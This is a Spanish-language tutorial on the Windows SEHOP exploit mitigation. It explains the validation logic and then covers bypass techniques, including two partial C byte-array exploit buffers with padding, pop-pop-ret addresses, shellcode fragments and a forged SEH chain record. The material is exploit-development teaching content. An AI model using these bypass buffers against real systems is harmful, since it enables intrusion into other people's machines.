Introducción a SEHOP
SEHOP (Structured Exception Handler Overwrite Protection) es una medida de seguridad introducida en Windows Vista SP1 para prevenir exploits que sobrescriben los manejadores de excepciones estructuradas. Los manejadores de excepción (S.E.H) se almacenan en la pila como una lista enlazada, donde el último nodo es el manejador por defecto del sistema. Un atacante puede modificar el puntero del manejador en esta lista para redirigir el flujo de ejecución cuando ocurre una excepción.
SEHOP verifica la integridad de esta lista comprobando que el último manejador sea el predeterminado del sistema. Si se detecta una alteración, se aborta el proceso de manejo de excepciones.
Habilitación de SEHOP
SEHOP está habilitado por defecto en Windows Server 2008, Windows 10 y Windows 11. En Windows Vista y Windows 7, debe activarse manualmente mediante el registro:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel
Valor: DisableExceptionChainValidation = 0
En versiones recientes, puede gestionarse mediante Windows Defender.
Proceso de Verificación de SEHOP
Condiciones de Validación
- Todos los registros S.E.H deben residir en la pila.
- El último registro S.E.H también debe estar en la pila.
- Todos los registros deben estar alineados a 4 bytes.
- La dirección del manejador no debe estar en la pila.
- El último manejador debe ser ntdll!FinalExceptionHandler.
- El puntero 'next' del último registro debe ser 0xFFFFFFFF.
Pseudocódigo de Validación
if (proceso_flags & 0x40 == 0) {
if (registro_actual != 0xFFFFFFFF) {
do {
if (registro_actual < base_pila || registro_actual > tope_pila)
goto corrupcion;
if ((char*)registro_actual + tam_registro > tope_pila)
goto corrupcion;
if ((registro_actual & 3) != 0)
goto corrupcion;
manejador = registro_actual->handler;
if (manejador >= base_pila && manejador < tope_pila)
goto corrupcion;
registro_actual = registro_actual->siguiente;
} while (registro_actual != 0xFFFFFFFF);
if ((TEB->flags & 0x200) != 0) {
if (manejador != &FinalExceptionHandler)
goto corrupcion;
}
}
}
Ubicación de la Verificación
La validación se realiza en RtlDispatchException, antes de llamar a RtlIsValidHandler.
Estrategias de Evasión de SEHOP
Ataque a Dirección de Retorno
Si SafeSEH está activado pero no GS, o si GS está presente pero la función vulnerable no está protegida, se puede atacar la dirección de retorno directamante.
Uso de Funciones Virtuales
Mediante la manipulación de tablas de funciones virtuales para desviar el flujo sin involucrar el manejo de excepciones.
Módulos sin SEHOP Habilitado
Algunos módulos tienen SEHOP deshabilitado por compatibilidad. Modificando MajorLinkerVersion y MinorLinkerVersion en el encabezado PE, se puede simular esta condición.
Ejemplo de Shellcode Ajustado
#include <windows.h>
char codigo_explotacion[] = {
// Relleno inicial
0x90, ... , 0x90,
// Dirección de pop-pop-ret en módulo vulnerable
0x68, 0x10, 0x12, 0x11,
// Shellcode modificado para Windows 7
0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,
0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
// Instrucción adicional para ajustar ECX
0x8B, 0x09,
// Resto del shellcode
...
};
Falsificación de la Lista S.E.H
Crear una estructura S.E.H falsa que cumpla con las validaciones de SEHOP, apuntando al manejador final legítimo.
Ejemplo de Estructura Falsificada
char explotacion[] = {
// Relleno hasta sobreescribir el puntero next
0x90, ..., 0x90,
// Dirección del registro falso
0xC0, 0xFE, 0x12, 0x00,
// Dirección de pop-pop-ret
0x68, 0x10, 0x12, 0x11,
// Shellcode
...,
// Registro S.E.H falso
0xFF, 0xFF, 0xFF, 0xFF,
// Dirección de FinalExceptionHandler
0x2D, 0xAB, 0xCE, 0x77
};